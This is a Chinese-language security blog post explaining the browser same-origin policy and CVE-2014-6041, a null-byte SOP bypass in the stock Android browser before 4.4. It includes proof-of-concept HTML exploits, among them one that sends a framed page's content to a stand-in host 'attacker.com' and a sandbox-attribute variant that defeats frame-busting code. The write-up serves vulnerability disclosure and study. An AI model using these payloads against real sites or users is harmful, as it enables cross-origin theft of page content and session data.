- A+
什么是同源策略(Same-Origin-Polocy)
同源策略(SOP)是客户端脚本(尤其是Javascript)的重要的安全度量标准,是浏览器安全核心基础。它最早出自Nescape Navigator2.0,其目的是防止某个文档或脚本从多个不同源装载。这里的同源指的是同域名、同协议和同端口。
它有个很简单的精髓:它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。
(以下资料可能带有攻击性,仅供研究测试之用哦)
SOP绕过
SOP绕过发生在A网站(以sitea.com为例)以某种方式访问B网站(以siteb.com为例)的属性如cookie、位置、响应等的时候。由于这个问题的特殊性和可能潜在影响,浏览器对此都有非常严格的管理模式,在现在的浏览器中很少能发现一个SOP绕过。然而,最近一个SOP绕过还是被发现了。
以下书面记录描述了一个SOP绕过漏洞(漏洞编号CVE-2014-6041),它是在作者的一个Qmobile Noir A20(Android 4.2.1的浏览器)上发现的,后来继续证实,Sony+ Xperia +Tipo、三星Galaxy、HTC Wildfire、Motrorolla等也受到影响。据我所知,这个问题的发生由于url解析器对空字节处理不当的造成的。
更新: 其他伙伴也已经证实Android 4.4以下的浏览器下也存在这个问题,Ref- https://github.com/rapid7/metasploit-framework/pull/3759
概念验证
<iframe name="test"src="http://www.rhainfosec.com"></iframe> <inputtype=button value="test"onclick="window.open('\u0000javascript:alert(document.domain)','test')">
正如你所见,上面代码尝试访问一个网站已经加载进一个iframe的document.domain属性。一般情况下现代的浏览器都会返回一个error结果
iframe中” http://jsbin.com “与” http://www.rhainfosec.com”的协议、域名和端口必须匹配。
但是你可以接着往下看,我创建了以下POC,你可以弄混一下其中一些东西。
首先阅读它的响应
你可以仔细阅读一下任何页面访问document.body.innerHTML属性时的响应
<iframe name="test"src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">
其次阅读响应然后把它发送到一个攻击者的域名
在现实的情况下,一个攻击者会把它发送到一个他主控的域名下
<iframe name="test"src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:var i=newImage();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')">
绕过框架的破坏代码
其实很多网站仍在使用类似框架破坏代码来阻止页面被阻止,因此当可以这样写入框架时我们只能从这一点入手来绕过SOP。在该案例中,该网站使用一个框架破坏代码利用沙箱sandbox属性(在HTML5规范中有介绍)绕过它。
<iframe name="test"src="http://www.rhainfosec.com" sandbox></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:var i=newImage();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')">
更新: 由jvennix-r7发布的metasploit模块还支持x-frame-options这个完全通用规则,Ref - https://github.com/rapid7/metasploit-framework/pull/3759
受影响版本:
最初的测试Android 4.2.1浏览器(Qmobile)和下面测试的手机:
Samsung Galaxy S3
Motrorolla Razr
Sony Xperia Tipo
HTC Eco 3D and Wildfire
[信息参考来源RHA FreeBuf小编[凌晨几度i]编译,转载请注明来自FreeBuf.COM]
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫